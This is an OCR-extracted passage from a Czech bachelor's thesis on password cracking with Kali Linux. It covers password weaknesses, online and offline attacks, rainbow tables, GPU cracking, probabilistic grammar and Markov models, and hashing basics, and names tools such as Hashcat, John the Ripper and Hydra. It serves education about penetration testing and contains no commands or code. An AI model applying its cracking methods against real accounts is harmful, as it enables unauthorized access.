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Anotace

Prolamovani hesel je stale jednodussi diky zvySujicimu se vypocetnimu vykonu
pocitaci a dostupnéjSim zdrojlim potirebnymi k prolamovani hesel. Je proto diileZité
zkoumat zabezpeceni systému pomoci penetracniho testovani. K penetra¢nimu
testovani jsou vyuZivany napf. nastroje obsazené v operacnim systému Kali Linux.
V této praci jsou analyzovany jednotlivé nastroje pro konstrukci rtiznych typt ttokt
cilenych na prolamovani hesel. Ziskané informace jsou nasledné interpretovany
formou edukativnich labli. Laby maji za tikol informovat jejich reSitele o on-line
a off-line utocich pomoci riznych metod prolamovani hesel a nastinit mu danou
problematiku. Hlavni podstatou prace je predani ziskanych informaci ohledné

prolamovani hesel reSiteli labt.

Annotation

Title: Cracking passwords using Kali Linux

Cracking passwords is getting easier thanks to the increasing computing power of
computers and more affordable resources needed to crack passwords. Therefore, it
is important to examine the security of the system with the help of a penetration
testing. For penetration testing are used e.g., tools contained in operating system
Kali Linux. In this thesis, the individual tools are analyzed for construction of
different types of attacks that are targeted on cracking passwords. Subsequently, the
obtained information is interpreted in the form of educational labs. Labs are tasked
to inform their researchers about on-line and off-line attacks using different
methods of cracking passwords and outline the issues to him. The main point of this
thesis is to handover the obtained information regarding cracking passwords to lab

researcher.
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1 Uvod

JelikoZ jsou v dnedni dobé uZivatelé nuceni vytvaret stale nové ucty (napr. pro
registraci do socialnich siti, nakupy na e-shopech,...), je nutné se v tomto ohledu
zabyvati zabezpecCeni hesel. Samotné zabezpeceni hesel je problematikou, kterou je
nutné resit v mnoha ohledech. Z pohledu uZivatele je diileZité vytvaret takové heslo,
které nebude jednoduSe prolomitelné a zaroven nebude ani obsaZeno v Zadné
z databazi prolomenych hesel. Z pohledu poskytovatele sluzby, do niz se uzivatel
prihlasuje, je dileZité spravné zabezpeceni systému a spravné ukladani hesla
v podobé hashe (idealné doplnéného soli).

Prolamovani hesel se v priibéhu ¢asu vyvijelo dle aktualné vyuzivanych technologii.
Postupy vyuZivané pro prolamovani hesel casto vyuzivaji nové vzniklych
technologii (podpora GPU akcelerace vypoctii hashli) nebo slabin metod pro
ukladani hesel. Mezi slabiny mtliZe patfit napf. pouZiti slabého hashovaciho
algoritmu ¢i Spatné naprogramovany systém (neomezeny pocet pokust prihlaSeni
atd.).

Jednim z operacnich systémli vyuZivanych kvyhledavani slabin systémi
a k nasledné konstrukci utokii na prolamovani hesel je systém Kali Linux. Kali Linux
je open-source operacni systém zrodiny Debian, ktery je vyvijen pro pouziti pri
penetracnim testovani. Vyhodou je, Ze diky otevicené licenci miiZe jakykoliv vyvojar
vytvaret nové nastroje i dopliikové moduly pro jiz existujici nastroje. Navic jsou
v zakladni verzi systému Kali Linux jiz predinstalovany veSkeré nastroje potrebné
pro penetracni testovani (v€etné nastrojii pro prolamovani hesel).

Cilem této prace je pomoci jednotlivych labli pribliZit resiteli zakladni funkce
systému Kali Linux. Resitel se v ramci postupného tvoien{ labii seznadmi s réiznymi
typy utoki (on-line, off-line, titok hrubou silou,...) a zjisti, jaké vestavéné nastroje je

vhodné pouZit pro dany typ utoku.



2 Cil prace

Cilem prace je informovat o bezpecnostnich problémech spojenych s hesly
a nasledné provést analyzu typl prolamovani hesel. Vysledkem této analyzy je
seznameni reSitele s nastroji ur¢enymi pro prolamovani hesel, ktera jsou obsazena
vsystému Kali Linux. Seznameni a edukace probiha formou vyukovych labii

zamérenych na specificka témata z problematiky prolamovani hesel.



3 Metodika zpracovani

V préci je pouZzita metoda studia a analyzy problémf, na kterou nasledné navazuje
implementace feSenych labli. Studium je zaméfeno na problematiku zabezpeceni
hesel z pohledu uZzivatele a zabezpeceni systému z pohledu technického reSeni
(ukladani hesel, zabezpeceni vstupu do systému). Nasledna analyza problémi se
zaméfuje na moZnosti a techniky prolamovani hesel. V praci jsou zminény rtzné
metody, které cili na specifické slabiny hesel souvisejici s jejich tvorbou ¢i
ukladanim.

Informace ziskané z teoretické reSerSe jsou shrnuty a reprezentovany na nékolika
reSenych labech. Tyto laby predstavuji edukativni nastroj pro jeho freSitele.
K samotnému feseni labli jsou vyuZity nastroje obsaZené v systému Kali Linux.
Jedna se nejen o nastroje urcené primo k prolamovani hesel, ale i o nastroje
doplitkové (slouzici napf. knavazani spojeni s cilovym pocitatem ¢i k tvorbé
slovnik).

Pii konstruovani off-line dtoku jsou pro tvorbu slovnikli vyuZity nastroje Crunch
a Cewl. K naslednému prolamovani hesel jsou pouzity programy John the Ripper
a Hashcat.

Pro on-line utok jsou v praci aplikovany nastroje Medusa a Hydra, které schopné
utolit na zivy systém. Jako pomocny nastroj je pouzit Metasploit, jenZ zajiStuje

pripojeni k pocitac¢i nachazejicimu se ve stejné siti.



4 Teoreticka cast

4.1 Bezpecnost hesla

V minulosti bylo zaznamendno mnoho incidentii zahrnujicich uniky soubori ¢i
databazi obsahujicich zahaSovana hesla. Z téchto prolomenych souborti byly
nasledné provedeny analyzy pouZivanych hesel. Napiiklad analyza 70 milioni
prolomenych hesel (Bonneau 2012) ukazala, Ze uZivatelé stale poZivaji velmi slaba
hesla, a to i napfi¢ snaze vétSiny portalii ¢i aplikaci donutit uZivatele pomoci rtiznych
restrikci a poZadavkil vytvaret silnéjsi zabezpecovaci retézce. Z toho vyplyva, Ze
zabezpeceni pomoci hesla je jedno z nejjednodusSich na prolomeni, avSak je zaroveri
velice jednoduché na zapamatovani a pouziti, a tak je snadné pro uZzivatele

ho pouzivat (Almeshekah et al. 2015).

4.1.1 Zakladni studie hesel

Napfi¢ rliznymi studiemi hesel a jejich charakteristikami lze fici, Ze uZivatelé
vytvareji velmi predvidatelna hesla. Nejcastéjsi problém hesel je ten, Ze jsou velice
kratka a stereotypni, tak%e nejsou schopna odolavat jakymkoliv ttok@im. Casto
uzivatelé vkladaji napr. velké pismeno na zacatek retézce a Ccislice ¢i specidlni
symboly na konec fetézce s heslem (Ur et al. [b.r.]).

Dal$im z opakujicich se problémii pti analyze rtiznych hesel je, Ze uZivatelé pouZivaji
predvidatelna slova a fraze jako napiiklad jména, datumy, jména domacich mazlickt
a obecné dalsi oblibené véci (Ur et al. [b.r.]). Také pokud je heslo sloZeno z vice slov,
je velmi pravdépodobné, Ze budou slova sémanticky nasledovat po sobé. Casty je
také vyskyt klavesnicovych paternii (napf. ,qwerty“) nebo substituce pismen za
speciadlni znaky (napf. a -> @) (Veras et al. 2014). Charakteristiky pfi tvorbé hesla
se také liSi v pripadé, Ze uZzivatel vytvari heslo na zarizeni s dotykovou obrazovkou
¢i na fyzické klavesnici (Melicher et al. 2016).

BohuZel mnoho uZivateld vnima hesla jako zatéZ, coZ mliZe mit za nasledek Spatné
spravovani hesel. Toto chovani vyplyva ze stale rostoucich poZadavki pfi tvorbé
hesla, ktera je vSak uZzivatel nuceny si pamatovat (Haque et al. 2013). Odtud
vyplyvaji dal$i potencialni hrozby. JelikoZ je uZivatel nucen tvorit komplexni hesla

a ty si nasledné musi pamatovat, tihne Casto ke znovu pouZzivani hesel. Nemusi se



ani jednat primo o pouziti jednoho hesla vicekrat, nybrz o drobné upravy (napf.
zmeéna Cislice na konci retézce) (Das etal. 2014).

BohuZel jedinym zplisobem pro béZné uzivatele, jak si ovérit silu hesla, je pomoci
riznych password-meterli, které po zadani hesla uZivateli poskytnou zpétnou
vazbu, zda je jeho heslo silné ¢i nikoliv. Tyto nastroje jsou vSak Casto velmi
jednoduché a hloubka, do které heslo analyzuji, je nedostatetna (de Carné de

Carnavalet a Mannan 2014).

4.1.2 Rizika spojena s hesly

Pohodlné pouzivani, snadné zapamatovani a univerzalnost hesel znich délaji
nejvice uZivatelsky pristupny zplisob autentizace. S tim ale pfichazi také rlizna

bezpectnostni rizika.

Technicka rizika

Kategorii technickych rizik je moZné rozdélit do dvou ¢asti spojenych se zptisobem
pouzivani hesel: ,server-side“ a ,client-side”. Jakykoliv typ ,,malwaru” ziskavajiciho
uZivatelova hesla (napt. keylogger), ktery miiZze byt nainstalovan na klientském
pocitaci je hrozba pro jakykoliv systém, jehoZ autentizace je zaloZena na hesle.
Na strané serveru miiZe uto¢nik ziskat soubor s uloZenymi hesly. Pomoci nich se
miiZe vydavat za uZivatele a dostat se tak do systému. K ochrané proti takovému
prolomeni je tedy nutné silné zabezpeceni hosta, ktery ma za ukol branit klientsky
a serverovy systém pred napadenim. Existuje vSak ale nékolik moZnosti, kterymi
miiZe utoc¢nik ziskat kopii uloZenych hesel (Almeshekah et al. 2015).

PocitaCové systémy musi ukladat autentiza¢ni informace pro kazdého uZzivatele pri
registraci. Tyto informace jsou dale pouZivany k ovéreni identity v procesu
prihlasovani. Ve vétsiné dnesSnich systémil jsou udaje potiebné k prihlaseni
ukladany v podobé uzivatelského jména a posoleného kryptografického ,hashe®,
ktery je vytvoren z fetézce hesla napiiklad pomoci algoritmt zminénych v kapitole
HaSovani. Tyto informace potrebné k prihlaSeni uZzivatele jsou ukladany v parech
v databazi ¢ jiném souboru. Uto¢nik, ktery by se zmocnil obsahu databaze ¢i
souboru obsahujici zminéné autentizatni pary, by byl schopny provést off-line

utoky, pomoci kterych by byl schopen hesla prolomit. Jednim z prikladl off-line



titoku je slovnikovy titok. Utoénik vytvori slovnik s potencialnimi hesly a nasledné
by replikuje hashovaci proces, dokud nedojde ke shodé s heslem, které se snazi
prolomit (Almeshekah et al. 2015). Pro pouZiti zminéného procesu existuje mnoho
programd, nékteré Z nich jsou zminény nize (viz kapitola
Nastroje urcené k testovani hesel v Kali Linux).

Existuji tri hlavni pristupy, jak vyreSit problém s prolamovanim hesel pomoci
zminéného zpilisobu. Prvnim z nich je zvySeni zdrojli potirebnych ke shodé hesla.
Druhym je zesileni uZzivatelskych hesel tak, aby se co nejvice zmenSila Sance, Ze
budou obsaZena ve slovniku pouZivaném k prolomeni hesla, a bylo tedy sloZitéjsi je
prolomit. Tretim pristupem je pridani do souboru s hesly retézce, které slouZi jako
navnada. Casto se jedna o b&%na hesla, u kterych je zndmo, %e jsou obsaZena
v slovnicich pouzivanych pro utok. V pripadé, Ze je takové heslo pouZité k prihlaseni
k danému uctu, je systém alarmovan, Ze soubor s hesly byl napaden (Almeshekah et
al. 2015).

Klamani utoc¢nika je béZné pouZzivano k vyporadani se s hrozbami prolamovani
hesel. Jednim ze zpiisobl je vloZeni uméle vytvorenych uZivatelskych ucti do
souboru s hesly (Almeshekah et al. 2015). DalSim jsou vySe zminéné navnady
v podobé hesel, ktera slouZi k navedeni uto¢nika na mySlenku, Ze se mu podafrilo
heslo prolomit. Pritom se v3ak jedna jen o navnadu. Dale jsou pouZivana schéma
jako ,honeywords”, ktery maji za ukol zmast utoc¢nika tak, Ze mu prezentuji vice

hesel pro jednoho uZivatele. Pouze jedno je vSak spravné (Juels a Rivest 2013).

Rizika ze strany uZivatele

Pri vytvareni hesel tthnou uZzivatelé ¢asto k metodam tvorby hesel, ktera jsou
snadno zapamatovatelna a daji se vyuZit nap¥i¢ riznymi systémy. Casem je uZivatel
nucen vytvaret nova hesla na veSkeré platformy, ke kterym je nutna registrace
v podobé vytvoreni ucltu s heslem. Je tak moZné, Ze svelkym mnoZstvim
prihlasovacich idajli zacne uZivatel ztracet prehled o tom, kde jaké heslo pouZil.
Tato skutec¢nost zvySuje pocet znovu pouZzitych hesel napti¢ riiznymi systémy. To
déla samotného uzivatele zranitelnéjSiho a v pripadé, Ze dojde ke kompromitaci
hesla v jednom ze systémij, je velkd pravdépodobnost, Ze budou prolomeny i jeho

ostatni ucty (Hussain 2022).



Jednou z moZnych strategii pro uZivatele je rozdélit své tiéty do dvou kategorii. Utty,
u kterych je mozné zvolit jednoduché, dobfe zapamatovatelné heslo a ucty, u nichz
je zapotiebi volit silna hesla, ktera se nebudou opakovat napfic jinymi ucty. Do prvni
kategorie je mozné zaradit piihlaSovaci tidaje do systémii, které neobsahuji Zadné
osobni ¢i bankovni informace o uZzivateli a v pfipadé prolomeni Uctu nedojde ze
strany uZzivatele k zadné Skodé. V tomto pripadé je tedy mozné volit jednodussi
hesla a také je sdilet napric systémy. V druhé kategorii hesel je nutné volit komplexni
a unikatni hesla. Pro co nejvétsi zabezpeceni je diilezité pouZivat pri tvorbé hesla
mala i velka pismena, Cisla a specialni znaky. Doporucuje se také volit nahodné ¢i
zdanlivé ndhodné Fetézce znaki tak, aby ttocnik ani pfi zjiSténi osobnich udaji, jako
je naptiklad jméno Ci datum narozeni, nemohl tyto informace pouZit k prolomeni
hesla (Hussain 2022).

UZivatelé mohou také pouZivat rtizné metody pro tvorbu hesla. Jednou z moZnosti
je napriklad pouzit takzvané ,mnemonické” heslo. Mnemonické heslo je tvoreno
pomoci jednoduSe zapamatovatelnych vét ¢i odstavci textu, kdy do fetézce hesla je
zaneseno vzdy prvni pismeno z daného slova. Studie ukazuji, Ze ¢im se jedna o delsi
referencni vétu Ci odstavec je, tim obtiZnéjsi je heslo prolomit (Ye etal. 2019).
Dal$im zpiisobem tvorby hesla je takzvané ,password chunking®. Tato technika déli
informaci do vétsich klastrii. Pro maximalni zabezpeceni musi byt heslo rozdéleno
alesponi do tii klastrt. Jednotlivé klastry je nutné proloZit naptiklad specialnimi
znaky nebo C¢isly. Studie dokazuji, Ze lidé jsou schopni si zapamatovat okolo sedmi
riznych elementi (vtomto piipadé 7 klastri) (Xu et al. 2021). BohuZel vSak
uzivatelé jako jednotlivé klastry voli ¢asto misto nahodnych slov jména svych
piibuznych ¢i mazlicki. Pokud dojde k iniku osobnich informaci o daném uzivateli,

je pak jednoduché heslo prolomit (Ghafir et al. 2018).

4.1.3 Zabezpeceni hesel ve spojitosti s utoky na heslo

Existuji situace, kdy vSak nezaleZi na samotné sile hesla. Pokud dojde naprtiklad
k phishingovému utoku, tak tito¢nik ziska uZzivatelovo heslo v plaintextu. Pro ostatni
pripady je dileZité, aby heslo nebylo jednoduse uhodnutelné (Bonneau et al. 2015).
V takzvaném on-line utoku dochdzi ze strany uto¢nika k predikci hesla, které by

mohlo byt pouzito pro prihlaSeni do daného systému. Pokud je vSak systém spravné



zabezpeteny, mélo by po nékolika netuspéSnych pokusech dojit k zablokovani
prihlaSeni pro daného uZivatele a ten by mél byt dale informovan naptiklad
e-mailem, Ze se nékdo snazi prihlasit do jeho uctu (Florencio et al. 2014). Aby bylo
heslo co moZna nejvice imunni oproti on-line utokd, je dllezité, aby nebylo dané
heslo obsaZeno v nékteré z databazi prolomenych hesel Ci se nejednalo o jedno
z milionu nejpouZzivanéjSich hesel. Dale je nutné, aby v hesle nebyly obsazeny osobni
informace o uzivateli (napf. rok narozeni, jméno partnera, ...). Pokud je v§ak systém
$patné naprogramovany a Uto¢nik ma neomezené mnoZstvi pokusii na uhodnuti
hesla, je jen otazkou ¢asu, neZ se povede heslo prolomit (Ur et al. 2016).

Dal$im moZnym utokem, pred kterym je nutné hesla chranit, je off-line utok. Pri
takovém utoku se uto¢nikovi podari prolomit naptiklad databazi s hesly ulozenymi
v zahaSované podobé. Cilem utoc¢nika je prolomit hash a ziskat heslo v plaintextu.
Odolnost hesla vii¢i off-line utoku zaleZi na typu hasovaci funkce, pomoci které je
hash uloZen, a také na zdrojich uto¢nika. Napiiklad haSovaci funkce MD5 je
designovana tak, aby byla co nejvice efektivni, coZ z ni déla nevhodnou haSovaci
metodu pro ukladani hesel. Moderni hardwarové sestavy dokazi pri utoku zkouset
miliardy MD5 dotazli za sekundu (Kioon et al. 2013). NanesStésti se v nékterych
systémech haSovani pomoci MD5 stdle pouZiva. Proto je doporucovano pro ukladan{
hesel pouzivat pomalejSi haSovaci funkce (napf. bcrypt) (Sreehari C A a Nimmy
Francis 2021). Pomoci bcryptu je uto¢nikovi umoZnéno zkouSet pouze nékolik
stovek dotazli za sekundu. Nejvétsi bezpecnostni hrozba pfti off-line titoku plyne ze
znovu pouzivani hesel. Pokud uto¢nik prolomi jedno heslo, okamzité toto heslo
vyzkousi napti¢ riznymi systémy. Navic si uto¢nik vytvari vlastni slovnik, ktery

obsahuje drobné modifikace prolomeného hesla (Ur et al. 2016).

4.2 Prolamovani hesel

Utoky na hesla mohou mit mnoho riznych podob. Utoénik miiZe provést on-line
utok na Zzivy systém, zkouSet prolomit hashe pomoci off-line utoku, prolomit
zaheslovany soubor, pouzit keylogger, kompromitovat mechanismus pro resetovani
hesla, dostat heslo z paméti pocitace a mnoho dalSich riznych utokd. Ackoliv
konkrétnich typl ttokil je mnoho, je moZné je rozradit do dvou hlavnich kategorii.

Cilem prvni z nich je zneuZit protokoly a technologie, které jsou spjaté s fungovanim



hesel v daném systému. Typickym piikladem je keystroke loggers, phishing nebo
taktiky jako je pass the hass cilici na specifickou implementaci toho, jak jsou hesla
v daném systému ¢i sluzbé pouZivana. Druhou kategorii jsou utoky, které vyuZivaji
techniky snaZici se odhadnout, jak byla hesla uZivatelem vytvorena. Do této

kategorie 1ze zaradit jiZ zminéné on-line a off-line utoky (Aggarwal et al. 2018).

4.2.1 Vyvoj metod prolamovani hesel

Vyvoj prolamovani hesel proSel nékolika velkymi zménami, které se odvijely od
novych postupti a také vyvoje hardwaru. Prvnim smérem pri prolamovani hesel byly
takzvané Rainbow Tables. Tento postup prinasel novou variaci zakladni mySlenky
time-memory trade-off, ktera mapovala plaintext do podoby kryptografickych
hashii. Tyto hashe byly pfedem vypocitany, uloZeny a nasledné pozdéji pouZity pri
prolamovani hesel (Avoine etal. 2015). Co ¢inilo Ranbow Tables tak zdsadnimi, bylo
schéma komprese dat, coZ drasticky redukovalo potfebnou pamét pro spravu
tabulek s hashy. Tato metodika méla velky vliv na oblast zabezpeceni hesel
a v nékterych pripadech je stale vyuZivana. Upadek Rainbow Tables ma na svédomi
pirevazné vyvoj hashovacich algoritmi, vyhradné pak pouZiti soli pii haSovani.
Dal$im z d@vodi, pro¢ prolamovani hesel pomoci Rainbow Tables neni jiZ tak
popularni je vyvoj hardwaru. Diky stale vykonnéj$im grafickym kartam je dnes jiz
mozné prolamovat hesla pomoci GPU (Aggarwal et al. 2018).

GPU poskytuje zplisob, jak paralelizovat vypocty, ¢ehoZ vyuZivda mnoho nastrojt
urcenych k prolamovani hesel. GPU zménily zplisob prolamovani hesel v daleko
zasadnéjSim ohledu, neZ jsou rychlejsi vypocty. Diky limitaci vypocti, které mohou
byt efektivné provadény na GPU, a ¢asu potfebného k transferu dat mezi CPU a GPU,
méla tato technika vyrazny podil na vyvoji modelovacich technik pouZzivanych pro
prolamovani hesla (Aggarwal et al. 2018).

Pokud modelovaci technika neni sama o sobé paralelizovatelna, je nutné, aby byla
jednotliva hadani hesla generovana na CPU a nasledné pomalu tranferovany na GPU,
kde probiha hashovani. Proto je ¢asto efektivnéjsi vyuziti méné precizniho modelu,
ktery mlZe byt implementovan piimo na GPU, coZ miiZe celkové vytvorit vice
odhadi hesel i pres to, Ze je méné pravdépodobné, Ze individualni odhad prolomi

dany hash (kvantita odhadi hesel pfevaZuje nad kvalitou). Pfi tomto postupu je tedy



nutné balancovat mezi vyvhodami a nevyhodami a neexistuje idealni odpovéd’, ktera
by zajiStovala dokonaly trade-off. Defensivni hashovaci algoritmy pro ukladani
hesel se stavaji stale vyspélejsi a dokonalejsi proto, aby bylo zamezeno prolamovani
hesel pomoci GPU. Prikladem silného hashovaciho algoritmu je Argon2, u kterého
diky jeho slozité hashovaci funkci trva vypocet del$i dobu (Wetzels 2016). Vypocet
musi byt totiZ proveden na CPU a nasledné transferovan do GPU (Aggarwal et al.
2018).

Dal$im zasadnim milnikem pfi prolamovani hesel je dostupnost stovek miliont
plaintextovych hesel ziskanych pfi utocich na rtizné systémy (napf. socidlni sité).
Tyto seznamy hesel byly ptivodné dostupné jen mezi hackery a $itily se v malém
kruhu pouze diky cernému trhu. To se vSak zménilo po nasdileni volné stazitelnych,
datasetli uniklych hesel ze stranky Myspace, ktery obsahoval pies 360 milioni
udaji, a také ze stranky LinkedIn, ktery pojimal pies 167 milionii hesel (Jaeger et al.

2016). Nyni je verejné dostupny dataset na strance haveibeenpwned.com, ktery

obsahuje data ze skoro 700 prolomenych webovych stranek a pres 12 miliard
prolomenych ucti. Nejen Ze tyto datasety jsou dokonalym zdrojem pro tréninkova
data, ale také zac¢inaji ménit zpiisob, jakym jsou provadény ttoky na hesla. Nyni jiZ
neni tto¢nik nucen generovat a zkouset nahodné hesla. Misto toho miiZe v nékterém
z téchto datasetli najit heslo, které uZzivatel pro sviij icet na dané webové strance
nékdy v minulosti pouzival. I pres to, Ze je uzivatelovo heslo v soucasnosti jiné,
uto¢nik miize diky informaci o tom, jak uZivatel vytvari sva hesla, optimalizovat svijj

model pro tvorbu hesel (Aggarwal et al. 2018).

4.2.2 Modelovani hesla pomoci slovniku modelovaného na

zakladé pravidel

Jednou z nejpouZzivanéjSich metod pro prolamovani hesel je slovnikovy utok. Tento
utok vyuZziva k vyvareni odhadii hesel slovnik, ktery obsahuje rtizné retézce znakd.
Tyto fetézce mohou byt dale modifikovany na zakladé dodatetnych pravidel.
Slovniky mohou obsahovat kromé bézné pouzivanych slov i ¢asto pouzivana hesla
¢i napriklad klavesnicové paterny. K tvorbé slovnikli pomoci klavesnicovych
paternt slouZi napiiklad nastroj KwProcessor, ktery byl vytvoren stejnym tviircem

jako nastroj Hashcat (Anon. 2023b). JelikoZ tvorba slovnikii pouZivanych pfi
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prolamovani hesel je zdlouhavy a naro¢ny proces, je moZné vyuZzit nastroji (napft.
CeWL, Crunch ¢i KwProcessor) (Aggarwal et al. 2018).

Ve chvili, kdy byl vytvoren zakladni slovnik, je moZné na néj aplikovat jesté
dodate¢na pravidla, ktera upravi jednotlivé retézce tak, aby byla vétsi moZnost, Ze
se budou podobat realné podobé hesla. Mezi tyto pravidla mohou patrit zakladni
zname prvky, jeZ jsou uzivateli béZné pouZzivany (napf. velké pismeno na zacatku
retézce, Cislice na konci retézce ¢i nahrada pismen za specialni znaky ¢i ¢isla).
Pokud vsak potiebuje uto¢nik udélat analyzu Fetézcli hesel, existuji specidlni
nastroje jako napriklad PACK (Anon. [b.r.]), ktery je schopen analyzovat tato hesla
a naucit se Casto se vyskytujici paterny (Aggarwal etal. 2018).

4.2.3 Modelovani hesla pomoci pravdépodobnosti

bezkontextové gramatiky

Pravdépodobnosti bezkontextové gramatiky byly dlouho pouZzivany k modelovani
a provadéni gramatickych rozbort v textech generovanych lidmi. Podobné techniky
mohou byt vSak pouZité i k modelovani zvykii souvisejicich s tvorbou hesel a ukazuji
velkou efektivitu oproti hesliim zredlného svéta. Hlavni vyhodou vyuZiti této
metody je, Ze podporuje strojové uceni k trénovani gramatiky na dfive prolomenych
heslech (Houshmand et al. 2015). Vyslednda gramatika miiZe byt v budoucnu
modifikovana tak, aby pomoci ni bylo moZné zacilit na specifického uZzivatele. Tato
metoda ma potencial k vytvoreni vysoce presného modelu v porovnani s ostatnimi
metodami (Aggarwal etal. 2018).

Samotnou gramatiku je moZné si predstavit jako generativni model pouzivany
k odvozovani sad fetézcli odpovidajicich definovanym pravidlim gramatiky.
Naptiklad béZny jazyk, jako je CeStina, mlZe byt aproximovan zadanim vhodné
gramatiky, jejiZ cilem je odvodit platné vétné retézce. Pro prolamovani hesel je cilem
naucit gramatiku schopnosti generovat vhodné odhady retézctli hesel. Tato metoda
je efektivni, protoZe uzivatelé maji tendenci zavadét jista pravidla pri tvorbé hesel,
podobné jako jsou pouzivana gramaticka pravidla pfi tvorbé vét. Slovo
,pravdépodobnostni“ v nazvu znamend, Ze kazdé pravidlo se uplatiiuje s danou
pravdépodobnosti, a proto kazdy odhad generovany gramatikou ma se sebou

spojenou také pravdépodobnost (Aggarwal et al. 2018).
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Prolamovani hesel za pomoci pravdépodobnosti bezkontextové gramatiky se
vétSinou sklada ze dvou fazi. V prvni fazi je gramatika naucena na trénovacim setu
hesel, ktery je pro trénink specialné vytvoren. Tato faze se nazyva jako trénovaci ¢i
ucici faze. V druhé fazi je naucend gramatika pouZita k vytvoreni odhadii hesel. Tato
hesla jsou nasledné zahaSovany a porovnavany oproti zahaSovanym hesliim, které
maji byt prolomeny. Tato faze se nazyva prolamovaci (Aggarwal et al. 2018).

Ve chvili, kdy je pravdépodobnostni gramatika naucena, je moZné ji uplatnit
v prolamovaci fazi pro generovani odhadii retézcl. V pripadé, Ze je znama néjaka
dalSi skutecnost (napt. osobni informace o cili ttoku), je nutné tuto skute¢nost také
zatadit do procesu uceni gramatiky. Diky tomu miiZe byt pak vytvotrena individualn{

gramatika pro konkrétni utok (Aggarwal et al. 2018).

4.2.4 Modelovani hesla pomoci Markovova modelu

Markoviiv model je standartni technika pro vytvareni statistickych modeli pro
sekvence pismen i slov v textu. Dale je tato technika vyuZivana i ke komplexnéj$im
uloham, jako je naptiklad rozpoznani rukopisu a feci ¢i zisk informaci. Markoviiv
Fetézec mliZe byt také definovan jako model, ve kterém je nasledujici stav zavisly
pouze na stavu souc¢asném nebo na kone¢ném cisle stavli predchozich (Douc et al.
2018).V ohledu na prolamovani hesel jsou Markovy modely primarné zaméfeny na
jednotlivé znaky a Casto vyuZivaji tréninkovych dat kurceni podminénych
pravdépodobnosti pro kompletni hesla ¢i pouze pro jednotliva slova hesla. Dalsi
z moznych pristupi je sestaveni retézce tak, aby byly postaveny na podminéné
pravdépodobnosti celych slov a pomoci aplikovani naslednych pravidel byla
sestavena hesla z téchto retézcli (Aggarwal et al. 2018).

Jednim z hlavnich dtivoddi, pro¢ jsou vyuZivany Markovovy modely zaloZené na
znacich pfi prolamovani hesel je, Ze slovniky vyuzivané uto¢nikem pro modelovani
uzivatelova chovani maji zasadni vliv na prolamovani hesel. BohuZel uplnost téchto
slovnikli je velmi cCasto nedostaCujici, protoZe slovniky ve vétSiné piipadl
neobsahuji veSkera slova, ktera by méla byt zohlednéna pri prolamovani hesla
vytvofeného redlnym uZivatelem. Ve skutecnosti s nariistajici velikosti slovniku
klesa jeho vyuZitelnost, protoZe pri velkém mnoZstvi vS§ech kombinaci rtiznych slov

se utok pomoci slovniku jiZ pomalu méni v utok hrubou silou. Hlavni prednosti
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slovniku by mélo to, Ze reprezentuje pouze takova slova, ktera by s nejvétsi
pravdépodobnosti mohla odpovidat retézci hesla (Aggarwal et al. 2018).

Hlavnim problémem tedy je zplsob, jak vytvorit a naddle spravovat efektivni
slovnik pro prolamovani hesel. Jednou z moznosti je vyuziti klasického slovniku
zaloZeného na nativni reci cileného subjektu (Vishwakarma a Madhavan 2014).
Tento zplisob vSak nemusi byt prilis efektivni, protoZe takové slovniky casto
neobsahuji nova slova ¢i napf. nazvy uzivatelovych oblibenych véci ¢i napf.

hudebnich skupin atd (Aggarwal et al. 2018).

4.3 Hasovani ve spojitosti s hesly

Pri penetracnim testovani prijde kazdy tester velice ¢asto do styku s pojmy ,hash®,
heslo ¢i Sifrovani. Prolamovani ,hashe“ je samotna kategorie etického , hackovani®.
V Kali Linuxu Ize nastroje na prolamovani ,hashi“ zaradit do kategorie titokli na
heslo. V Kali Linuxu je pak mnoho nastrojl urcenych pro prolamovani hesel (Sinha
2018). Samotna hesla vSak nejsou ukladana v podobé, kterou by mohl ¢lovék lehce
rozpoznat a precist. VétSinou jsou hesla ukladana v podobé kryptografickych

yhashi“ (Sinha 2018).

4.3.1 HaSovani

HaSovani je pouzivano v pripadé, Ze je predem znam R (Emax), tedy maximalni pocet
prvkd, které patii do urcitého oboru. A naopak je mozZné, Ze existuje velmi mnoho
vSech mozZnych rozdilnych prvki (C) pravé z tohoto oboru. Prvki mliZe existovat
tolik, Ze prakticky je mozné pridélit poli o délce Emax dostatené mnoZstvi paméti,
ale pokud by se jednalo o vSechny potencialni prvky €z oboru R, tak takové pridéleni
pameéti neni fyzicky moZzné (Wréblesky 2015).

Je tedy velmi diileZité si nejdiive uvédomit, Ze je fyzicky nemoZné pridélit takto
velké pole. Pokud by totiZ bylo moZné vytvorit takto velké pole, bylo by pak mozné
v takovém poli vyhledavat prvky pomoci primého adresovani a kazda
z vyhledavacich funkci by tak méla naro¢nost vyhledavani O(1) (Wréblesky 2015).
Priklad, ktery objastiuje vySe zminény postup. Pro uloZeni Rmax = 200 slov a délce 10
znakl bychom pottebovali 200 * 11 = 2200 bajti (bajt navic pro znak ,\0‘, kterym

se uklada textovy retézec v C++). Slov, které lze vytvorit o délce 10 znakli mliZe v§ak
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byt C = 2610 (26 - polet znakl anglické abecedy). Jak je zde naznaceno, pridélit
pamét tak velkému poli neni fyzicky moZzné (Wréblesky 2015).

Samotny princip haSovani tedy spociva v to, Ze je nutné najit takovou funkci H, ktera
na zakladé predavaného parametru obsahujictho mnoZinu dat, poskytne index
v poli T, ve kterém se data, ktera do néj byla jiz nékdy predtim uloZena, nachazeji.

data -> adresa buriky v paméti

Pokud budou data takto uspofadana, umisténi nového zaznamu do paméti tak
nezavisi na umisténi zdznamt, které byly jiZ diive uloZeny. Diky takovému zpiisobu
ukladani dat je daleko jednodus$si samotny proces vyhledavani. Kazdy prvek x totiz
obsahuje specificky Kkli¢ v. Je mozné tedy vyuzit funkci H, jejiZ vypocet H(v) obsahuje
konkrétni pamétovou adresu. Pomoci této adresy je moZné ovérit, zda prvek

x existuje (Wréblesky 2015).

4.3.1.1 Znazornéni mySlenky hasovani

Méjme tedy obor Kklich C, ve kterém se budeme soustiedit na par vybranych hodnot
klica vi, vz, .., v6, které odpovidaji prvkiim x1, x2,..., x6. Dale mame funkci, ktera vzdy
prifadi hodnotu daného prvku k hodnoté indexu v poli T. Index, na ktery je hodnota
zapsana je vypocitan pomoci funkce H(v) (Wrdéblesky 2015).

Vzhledem k tomu, Ze pole T je velikostné omezené a prevadime do néj velké
mnoZstvi prvki z oboru C, neni moZné se vyhnout kolizim pfi prifazovani hodnoty
H(v) na index v poli T. Je tedy moZné, Ze napriklad pro prvky x2 a x3 s kli¢i vZ2 a v3
